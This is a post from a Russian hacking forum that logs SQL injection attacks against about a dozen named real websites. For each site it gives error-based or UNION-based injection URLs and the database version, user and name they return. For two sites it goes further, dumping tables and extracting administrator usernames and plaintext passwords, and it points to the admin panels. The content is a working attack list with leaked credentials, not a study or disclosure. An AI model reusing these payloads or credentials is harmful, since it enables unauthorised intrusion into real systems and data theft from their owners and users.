Форум АНТИЧАТ - Показать сообщение отдельно

zhuk.net

Код:

http://www.zhuk.net/archive/printyk.asp?aid=2973+or+1=@@version--

version Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
db_name() rcb
system_user rcb

Код:

http://www.zhuk.net/archive/printyk.asp?aid=2973+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)--

по началу в ручную доставал таблицы из information_schema.tables, но потом их количество стало напрягать..и я воспользовался дампером от Elekt'а

Код:

       RegSubTR
       mt_Referrers
       mt_RobotLog
       mt_Sessions
       Questlines
       AEventOpl
       AEventSost
       Aissue
       AissueER
       AissueNI
       AissueTR
       AissueYK
       Anketa
       AnketaAdv
       AnketaBelarus
       AnketaEmailSubscr
       AnketaEmailSubscrTest
       AnketaEvents
       AnketaEventsPost
       AnketaEventsProfiles
       AnketaFinUsl
       AnketaForum2002
       AnketaIvr
       AnketaKipr
       AnketaKonkurs
       AnketaMan
       AnketaMoscow
       AnketaPlans
       AnketaPlans2
       AnketaPlans20021
       AnketaQuestions
       AnketaReg
       AnketaRfi
       AnketaRostov
       AnketaSamara
       StatAccessLog
       Messages
       StatAccessIP
       ArtCommCookie
       Artcomments
       mt_Users
       Autorslist
       Companieslist
       tblZsearch
       GuestbookNI
       rcbforum
       PartsNI
       JournalName
       SubscriptionPeriod
       Person
       Users
       PartsTR
       PartsYK
       tblCategory
       StatAccessSiteOld
       tblForum
       tblTopic
       StatAccessSite
       ConfaName
       tblThread
       Autors
       PartsER
       tblAuthor
       Companies
       GuestbookYK
       Parts
       GuestbookER
       tblPMMessage
       UKSpeek
       Newsline
       tblBuddyList
       AnketaSi2
       NewsSprings
       tblConfiguration
       tblDateTimeFormat
       tblGroup
       UsersRCBComp
       tblPoll
       Articles
       tblPollChoice
       AnketaSamara2
       tblPollVote
       tblEmailNotify
       AnketaSi
       tblPermissions
       AnketaSouth
       AnketaSwiss
       AnketaTel
       AnketaThailand
       tblSession
       AnketaTR
       AnketaYK
       tblGuestName
       Banners
       RegSubscription
       tblSmut
       Archiveinf
       Employes
       tblBanList
       Guestbook
       UsersRole
       Koter1
       Koter2
       Koter3
       MailBoxes
       Numb
       Partadengnew
       syssegments
       Partadnew
       sysconstraints
       Post
       mt_Config
       PostService
       mt_Definitions
       PostServiceTheme
       mt_IPCountry
       PostTemp
       mt_Keywords
       QuestCookie
       mt_Names
       mt_PageLog
       RegSubYK
       Regions
       mt_PageNames
       Questionary
       RegSub
       mt_ReferrerNames

Интересна таблица Users

Код:

http://www.zhuk.net/archive/printyk.asp?aid=2973+or+1=(SELECT+TOP+1+cast(idus+as+nvarchar)%2B%27%3A%27%2Bcast(UID+as+nvarchar)%2B%27%3A%27%2Bcast(PW+as+nvarchar)+FROM+USERS+WHERE+idus=1)--

Код:

1:admin:p3OK_+
2:sub:2WEdd&

Код:

http://www.zhuk.net/adminka.php

Должно быть админка, но от неё нет толку, ибо 403

sdigital.ru

Код:

http://www.sdigital.ru/view_product.asp?idProduct=3196&idCategory=14&idSubCategory=81+or+1=@@version--

version Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) Feb 9 2007 22:47:07 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
db_name() u93901
system_user u93901
имеются таблицы

Код:

       News
       Meta
       Pages
       Products
       SubCategories
       UsualCarts
       SupProducts
       Clients
       Admin
       Categories
       Brands
       Currencies

интересная таблица Admin
колонки login и pass

Код:

http://www.sdigital.ru/view_product.asp?idProduct=3196&idCategory=14&idSubCategory=81+or+1=(SELECT+TOP+1+cast(login+as+nvarchar)%2B%27%3A%27%2Bcast(pass+as+nvarchar)+FROM+Admin)--

Там всего один пользователь, а именно

Код:

admin:gbpltw

админка

Код:

sdigital.ru/admin

highrollerbonuses.com

Код:

http://www.highrollerbonuses.com/high_roller_casino.php?casid=900+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

version() 4.0.24_Debian-10sarge3-log
user() junior@localhost
database() junior

casinogenie.co.uk

Код:

http://www.casinogenie.co.uk/casino_review.php?casinoid=9999+union+select+1,2,concat(version(),0x3a,user(),0x3a,database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21

version() 5.0.24a-Debian_1-log
user() root@localhost

database() casinogenie

интересные таблицы

Код:

access_types
admins
     admin_id
     username
     passwd
     realname
     email
     is_active
campaigns
clients
suppliers
adminlogin
blog_author

novinkisezona.ru

Код:

http://www.novinkisezona.ru/show_cat2.php?grid=-20+union+select+concat(version(),0x3a,user(),0x3a,database())

version() 4.1.20-lk-log
user() novinkisez@localhost
database() novinkisez

nycpov.com

Код:

http://www.nycpov.com/vr_viewer.php?vrid=-5+union+select+1,convert(concat(version(),0x3a,user(),0x3a,database()),binary),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24

version() 4.1.16-standard-log
user() elwood@zuma.dreamhost.com
database() nycpano

superdyke.com

Код:

http://www.superdyke.com/venueprofileview.php?ghid=-38+union+select+1,2,3,4,5,6,7,concat(version(),0x3a,user(),0x3a,database()),9/*

version() 4.0.27-standard-log
user() super_super@localhost
database() super_superdyke

dekalaser.ru

Код:

http://dekalaser.ru/products/index.php?prid=-9+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8

version() 5.0.45-log
user() u19010@10.10.223.211
database() u19010

galant-fasad.com.ua

Код:

http://galant-fasad.com.ua/content.php?prID=1'

version() 4.0.27-max-log
user() trialog3@v46.valuehost.ru
database() trialog3

planeta-sos.com

Код:

http://www.planeta-sos.com/goods.php?prid=999&rid=1+union+select+1,concat(version(),0x3a,user(),0x3a,database())

version() 4.1.21-log
user() planeta-soscom@81.177.16.51
database() planetasoscom_ssr

posterdb.de

Код:

http://www.posterdb.de/detailmovie.php?filmID=-366+union+select+concat(version(),0x3a,user(),0x3a,database()),2,3,4,5,6,7,8,9/*

version() 5.0.22
user() web207@localhost
database() usr_web207_1
интересные таблицы

Код:

person
posteruser
outgroup_members

uni-cis.ru

Код:

http://www.uni-cis.ru/news2.php?nid=-358+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4

version() 4.0.23-standard
user() unicis_user@localhost
database() unicis_database